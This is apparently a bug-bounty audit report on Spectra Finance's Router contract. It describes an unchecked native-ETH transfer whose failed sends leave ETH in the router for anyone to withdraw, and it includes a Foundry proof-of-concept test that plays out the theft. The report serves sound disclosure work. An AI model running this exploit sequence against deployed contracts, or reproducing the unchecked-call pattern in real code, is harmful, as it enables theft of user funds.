#44170 [SC-Low] Missing Check for Native ETH Transfer Success Allows Silent Failures and Potential Theft of Funds

Submitted on Apr 17th 2025 at 13:29:07 UTC by @Oxblackadam for Audit Comp | Spectra Finance

  • Report ID: #44170

  • Report Type: Smart Contract

  • Report severity: Low

  • Target: https://github.com/immunefi-team/Spectra-Audit-Competition/blob/main/src/router/Dispatcher.sol

  • Impacts:

    • Theft of failed transfer in the contract.

    • Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Description

Brief/Intro

The Dispatcher.sol contract, which serves as a base for Router.sol, executes native ETH transfers using a low-level .call but omits a crucial check to verify if the transfer was successful. Consequently, if a native ETH transfer fails during the execution of a command sequence via the Router (e.g., due to the recipient rejecting ETH), the transaction will not revert. This silent failure leaves the ETH intended for the transfer within the Router contract. Since any user can call the execute function and specify a TRANSFER_NATIVE command targeting themselves, an attacker can subsequently withdraw this "stuck" ETH, leading to a direct loss of funds for the user whose initial transfer failed

Vulnerability Details

The _dispatch function within Dispatcher.sol is responsible for executing various commands based on the _commandType input. When the command is Commands.TRANSFER_NATIVE, the contract attempts to send native ETH using the low-level .call{value: amount}("") method.

File: src/router/Dispatcher.sol

    } else if (command == Commands.TRANSFER_NATIVE) {
        (address recipient, uint256 amount) = abi.decode(_inputs, (address, uint256));
        // Low-level call to transfer ETH
        (bool success, ) = payable(recipient).call{value: amount}(""); 
// <<< VULNERABILITY: 'success' is not checked

    } else if // ... other commands ...

The .call function returns a boolean success flag indicating whether the call executed successfully (without reverting). However, the code does not check this success flag.

The Router.sol contract inherits Dispatcher.sol and uses the _dispatch function within its execute methods to process sequences of commands:

File: src/router/Router.sol

    function execute(
        bytes calldata _commands,
        bytes[] calldata _inputs
    ) public payable override whenNotPaused {
        // ... setup ...
        uint256 numCommands = _commands.length;
        // ... length check ...

        // ... msgSender/msgValue tracking ...

        for (uint256 commandIndex; commandIndex < numCommands; ) {
            bytes1 command = _commands[commandIndex];
            bytes calldata input = _inputs[commandIndex];

            _dispatch(command, input); // <<< Calls Dispatcher._dispatch

            // Execution proceeds even if _dispatch had a silent failure
            unchecked {
                commandIndex++;
            }
        }

        // ... cleanup ...
    }

If the .call{value: amount}("") within the TRANSFER_NATIVE command handling fails (e.g., the recipient contract rejects ETH, the recipient runs out of gas), success will be false. Since Dispatcher.sol doesn't check this and doesn't revert, control returns normally to Router.sol. The execute function in Router.sol then proceeds to the next command in the sequence, unaware that the intended ETH transfer failed. The ETH remains in the Router contract's balance.

Impact Details

  • Theft of Funds: This is the most critical impact. If a user's transaction involving TRANSFER_NATIVE fails silently, the ETH remains in the Router. An attacker can then call Router.execute with a TRANSFER_NATIVE command specifying their own address as the recipient and the amount of ETH left in the contract. Since there are no checks preventing this, the attacker can successfully withdraw the ETH belonging to the original user. This leads to a direct loss of funds for the user whose transaction initially failed.

  • State Inconsistency: Subsequent commands within the original user's execute transaction might rely on the native ETH transfer having occurred. Since the transaction doesn't revert on failure, these later commands will operate under the false assumption that the transfer succeeded, leading to unpredictable behavior and potentially corrupted final states for that specific transaction.

  • Broken Logic Flows: Complex interactions involving multiple steps, where one step is a native ETH transfer, can break silently for the original user, potentially causing their overall desired outcome to fail even if the transaction doesn't revert immediately.

References

https://github.com/immunefi-team/Spectra-Audit-Competition/blob/1cebdc67a9276fd87105d13f302fd77d000d0c0b/src/router/Dispatcher.sol#L485

Proof of Concept

Proof of Concept

ADD THIS TEST TO THE test/Router/RouterTest.t.sol function testTransferBug() public { address alice = makeAddr("Alice"); address attacker = makeAddr("atacker"); uint256 amount = 2e18;

    RejectEther fundsRejecter = new RejectEther();

    deal(alice, amount);
    bytes memory commands = abi.encodePacked(bytes1(uint8(Commands.TRANSFER_NATIVE)));
    bytes[] memory inputs = new bytes[](1);
    inputs[0] = abi.encode(address(fundsRejecter), amount);

    uint256 aliceBalanceBefore = alice.balance;
    uint256 attackerBalanceBefore = attacker.balance;
    uint256 fundsRejecterBalance = address(fundsRejecter).balance;
    uint256 routerBalance = address(router).balance;

    console.log("Alice Balance Before", aliceBalanceBefore);
    console.log("Attacker Balance Before", attackerBalanceBefore);
    console.log("fundsRejecterBalance Balance Before", fundsRejecterBalance);
    console.log("Router Balance Before", routerBalance);

    //alsice calls router for transfer
    vm.prank(alice);
    router.execute{value:amount}(commands, inputs);


    console.log("Alice Balance After", alice.balance);
    console.log("Attacker Balance After", attacker.balance);
    console.log("fundsRejecterBalance Balance After", address(fundsRejecter).balance);
    console.log("Router Balance After", address(router).balance);

    //attacker sees the funds annd calls the router to transfer the funds to him
    inputs[0] = abi.encode(attacker, amount);

    vm.prank(attacker);
    router.execute(commands, inputs);

    console.log("Alice Balance After attack", alice.balance);
    console.log("Attacker Balance After attack", attacker.balance);
    console.log("fundsRejecterBalance Balance After attack", address(fundsRejecter).balance);
    console.log("Router Balance After attack", address(router).balance);
    
}

}

contract RejectEther { receive() external payable { revert("Ether transfer explicitly rejected"); } }

Was this helpful?